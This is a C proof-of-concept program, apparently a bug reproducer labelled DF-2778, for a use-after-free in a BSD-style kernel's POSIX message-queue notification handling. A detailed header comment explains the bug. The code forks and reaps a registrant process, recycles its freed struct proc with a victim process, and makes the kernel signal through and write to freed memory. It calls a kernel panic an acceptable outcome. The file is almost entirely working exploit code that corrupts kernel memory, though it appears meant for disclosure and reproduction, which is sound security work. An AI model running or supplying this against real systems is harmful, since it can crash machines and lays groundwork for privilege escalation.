DF-2778 / uaf_notify.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 | /* * DF-2778 โ POSIX mqueue mq_notify_proc use-after-free (dangling struct proc *) * * sys/kern/sys_mqueue.c: * sys_mq_notify() stores an *unreferenced* `mq->mq_notify_proc = curproc` * (sys_mqueue.c:988). * mq_close_fop() clears it only when the *last file reference* drops * (fo_close runs only then, kern_descrip.c:3180-3181) and * only if the closing proc is the registrant (:388-389). * mq_send1() consumes it: PHOLD(notify) + ksignal(notify, ...) * (sys_mqueue.c:884-885, 900-906). * * Bug: fork a child C (inherits the mq fd => file refcount > 1), have child R * register SIGEV_SIGNAL notification, then let R exit. R's exit drops one * file reference; fo_close does NOT run; mq_notify_proc keeps pointing at R. * When the reaper (parent) wait4()s R, struct proc is kfree'd * (kern_exit.c:1336, kfree(p, M_PROC) โ general kernel heap). The next * mq_send() on the empty queue executes PHOLD() (atomic_add_int on freed * memory, kern_proc.c:341) and ksignal() -> lwpsignal() on the freed chunk. * * Demonstration: right after reaping R, the parent forks an innocent victim * V. The victim's struct proc allocation recycles R's freed chunk (same CPU, * LIFO magazine). The notify signal (SIGUSR1, registered by R for R) then * lands on V โ visible via V's signal handler โ proving the kernel delivered * a signal through a freed struct proc, in addition to the PHOLD/token/ * sigset writes performed on the freed chunk. * * Build: cc -O2 -o uaf_notify uaf_notify.c -lpthread (thread lib not needed) * Run: ./uaf_notify [rounds] (default 64 rounds) * Success: any round prints "[VICTIM *] ALIEN SIGUSR1 ..." -> UAF reproduced. * A kernel panic during a round is equally valid proof. */ #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/types.h> /* Raw syscalls: avoid any libc mqueue API presence questions. */ static int kq_open(const char *name, int oflag, mode_t mode, const long *attr) { long a[4]; if (attr) { memcpy(a, attr, sizeof(a)); return syscall(SYS_mq_open, name, oflag, mode, a); } return syscall(SYS_mq_open, name, oflag, mode, NULL); } #define kq_close(fd) close(fd) #define kq_unlink(name) syscall(SYS_mq_unlink, (name)) #define kq_notify(fd, sev) syscall(SYS_mq_notify, (fd), (sev)) #define kq_send(fd, p, l, pr) syscall(SYS_mq_send, (fd), (p), (l), (pr)) static void victim_handler(int sig) { const char msg[] = "[VICTIM] *** ALIEN SIGUSR1 RECEIVED THROUGH FREED struct proc ***\n"; write(2, msg, sizeof(msg) - 1); _exit(7); /* distinctive exit code = proof */ } int main(int argc, char **argv) { int rounds = (argc > 1) ? atoi(argv[1]) : 64; int mode_signo = (argc > 2) ? atoi(argv[2]) : SIGUSR1; int hits = 0, panicky = 0; int i; setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2778 PoC: rounds=%d signo=%d pid=%d\n", rounds, mode_signo, (int)getpid()); for (i = 0; i < rounds; i++) { char name[64]; long attr[4]; int fdM, R, V, status; pid_t wp; int j; snprintf(name, sizeof(name), "/df2778_%d_%d", (int)getpid(), i); attr[0] = 0; /* mq_flags */ attr[1] = 8; /* mq_maxmsg */ attr[2] = 64; /* mq_msgsize */ attr[3] = 0; /* mq_curmsgs */ fdM = kq_open(name, O_RDWR | O_CREAT, 0666, attr); if (fdM < 0) { printf("round %d: mq_open: %s\n", i, strerror(errno)); if (errno == EMFILE) break; continue; } /* --- registrant child R: registers SIGEV_SIGNAL, then exits * while parent M still holds fdM (file refcount 2). --- */ R = fork(); if (R == 0) { struct sigevent sev; memset(&sev, 0, sizeof(sev)); sev.sigev_notify = SIGEV_SIGNAL; sev.sigev_signo = mode_signo; if (kq_notify(fdM, &sev) != 0) { /* EINTR-style failures: just retry once */ if (kq_notify(fdM, &sev) != 0) _exit(1); } _exit(0); /* refs drop 2->1: NO fo_close, pointer dangles */ } waitpid(R, &status, 0); /* reap => kfree(p, M_PROC) */ /* --- innocent victim V: recycles the freed proc chunk --- */ V = fork(); if (V == 0) { struct sigaction sa; if (mode_signo == SIGUSR1) { memset(&sa, 0, sizeof(sa)); sa.sa_handler = victim_handler; sigaction(SIGUSR1, &sa, NULL); } for (j = 0; j < 30; j++) usleep(100000); /* sleep ~3 s */ _exit(0); /* not signaled: normal exit 0 */ } usleep(60000); /* let V reach usleep() and be SSLEEP */ /* --- fire: empty queue + armed notify => ksignal(freed proc) --- */ kq_send(fdM, "A", 1, 0); /* --- check what happened to V --- */ wp = waitpid(V, &status, WNOHANG); for (j = 0; wp == 0 && j < 35; j++) { usleep(100000); wp = waitpid(V, &status, WNOHANG); } if (wp < 0) { printf("round %d: waitpid(V): %s\n", i, strerror(errno)); } else if (WIFEXITED(status) && WEXITSTATUS(status) == 7) { printf("round %d: *** HIT: victim got the alien signal " "(UAF reproduced) ***\n", i); hits++; } else if (WIFSIGNALED(status) && WTERMSIG(status) == mode_signo) { printf("round %d: *** HIT: victim killed by alien " "sig %d (UAF reproduced) ***\n", i, mode_signo); hits++; } else { printf("round %d: victim undisturbed " "(chunk not recycled by V this round)\n", i); } kq_close(fdM); kq_unlink(name); if (hits > 0) break; /* proof obtained */ } printf("DF-2778 result: hits=%d rounds=%d -> %s\n", hits, i, hits ? "REPRODUCED" : (panicky ? "PANIC" : "no visible hit")); return hits ? 0 : 1; } |